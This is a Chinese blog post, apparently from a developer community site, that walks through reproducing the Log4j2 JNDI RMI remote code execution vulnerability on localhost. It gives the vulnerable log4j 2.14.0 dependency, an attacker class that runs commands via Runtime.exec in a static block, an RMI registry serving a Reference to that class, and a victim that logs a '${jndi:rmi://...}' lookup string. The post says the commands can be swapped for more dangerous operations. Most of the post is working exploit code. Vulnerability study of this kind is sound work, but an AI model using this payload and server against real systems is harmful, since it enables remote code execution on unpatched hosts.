Log4j2 RCE漏洞 JNDI RMI注入的简单复现案例

本文详细介绍了Log4j2远程代码执行(RCE)漏洞的复现过程,包括攻击代码块、JNDI服务端设置以及被攻击方的代码示例。通过模拟攻击,展示如何利用JNDI RMI注入在目标系统上执行任意命令,强调了该漏洞的危害性及其利用方式。

Log4j2 RCE漏洞 JNDI RMI注入的简单复现案例

1. 引入依赖POM

        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.16.18</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-slf4j-impl</artifactId>
            <version>2.14.0</version>
        </dependency>

2. 攻击代码块(攻击方)

commands执行的命令就不再展示了,可以自行DIY,此处能观察日志打印就算成功。

public class Sout {

    static {
        System.out.println("guess who am I ~~");
        System.out.println("开始执行代码...");
        String[] commands = {"open", "......"};
        try {
            Process process = Runtime.getRuntime().exec(commands);
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println("执行完成。");
    }
}

3. JNDI服务端(攻击方) 注意import的包

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(8888);
            Reference reference = new Reference("com.xxx.jndi.demo2.Sout", "com.xxx.jndi.demo2.Sout", null);
            registry.bind("Server", new ReferenceWrapper(reference));
            System.out.println("RMI服务已启动...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4. 服务端(被攻击方) 此处模拟请求写死入参

import lombok.extern.log4j.Log4j2;

@Log4j2
public class Log4j2Test1 {

    public static void main(String[] args) {
        String ref = "${jndi:rmi://127.0.0.1:8888/Server}";
        log.info("test: [{}]", ref);
    }
}

5. 开始调用

(1).先启动攻击方的Server.main(),开启JNDI服务:
Server(攻击方JNDI服务)日志:
在这里插入图片描述

(2).再执行的Log4j2Test1.main();

Log4j2Test1(被攻击方服务)日志:
在这里插入图片描述

注意日志是在Log4j2Test1 — 被攻击方处打印的,表明注入成功。

而通过commands可以进行更多危险的操作。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值